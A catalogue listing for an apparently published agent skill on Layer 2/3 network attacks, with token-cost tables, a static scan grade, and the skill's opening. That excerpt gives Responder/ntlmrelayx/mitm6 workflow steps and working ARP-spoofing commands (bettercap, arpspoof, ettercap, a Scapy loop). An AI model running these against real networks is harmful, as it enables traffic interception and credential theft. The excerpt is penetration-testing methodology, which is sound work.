Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00096 | $0.05721 |
| Opus 5 | $0.00048 | $0.02861 |
| Sonnet 5 | $0.00019 | $0.01144 |
| Haiku 4.5 | $0.00010 | $0.00572 |
Grade B, and why
offensive-network-attacks scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Asks for rootmediumPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.

The opening of the file, as written. The whole thing — 492 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Network Attacks (Layer 2/3) -- Offensive Methodology
You are attacking Layer 2/3 infrastructure during an authorized internal engagement. ARP, DHCP, broadcast name resolution, VLAN trunking, and IPv6 autoconfiguration are all unauthenticated -- you exploit that trust to intercept credentials, redirect traffic, and cross network boundaries.
Quick Workflow
- Map your position -- VLAN, subnet, gateway, DNS, DHCP lease, IPv6 status.
- Passively sniff with tcpdump/Wireshark to discover hosts and cleartext credentials.
- Run Responder in analyze mode to observe LLMNR/NBT-NS/mDNS queries.
- Enable Responder poisoning to capture NTLMv2 hashes.
- Relay captured hashes with ntlmrelayx against hosts without SMB signing.
- ARP spoof the gateway for targeted MITM and credential interception.
- Probe VLAN boundaries via DTP negotiation and 802.1Q double tagging.
- Exploit IPv6 autoconfiguration with mitm6 for DNS takeover and NTLM relay.
ARP Spoofing
ARP has no authentication. You send gratuitous ARP replies to associate your MAC with the gateway IP in the victim's cache, routing their traffic through you.
Bettercap ARP Module
sudo bettercap -iface eth0
net.probe on # discover live hosts
net.show
set arp.spoof.targets 10.0.0.50 # single target
set arp.spoof.fullduplex true # poison both victim and gateway
arp.spoof on
arpspoof and Ettercap
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.0.0.50 10.0.0.1 # tell victim you are the gateway
arpspoof -i eth0 -t 10.0.0.1 10.0.0.50 # tell gateway you are the victim (second terminal)
# Ettercap alternative
sudo ettercap -T -M arp:remote /10.0.0.50// /10.0.0.1//
sudo ettercap -T -M arp:remote -F inject.ef /10.0.0.50// /10.0.0.1// # with filter
Gratuitous ARP with Scapy
from scapy.all import Ether, ARP, sendp
import time
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
op=2, psrc="10.0.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.0.0.50"
)
while True:
sendp(pkt, iface="eth0", verbose=False)
time.sleep(2)
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

offensive-network-attacks is a skill published in the GitHub repository SnailSploit/Claude-Red (3,009 stars, last pushed 3d ago), licensed MIT. It adds 96 tokens to every session and 5,721 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it B with 1 finding (asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
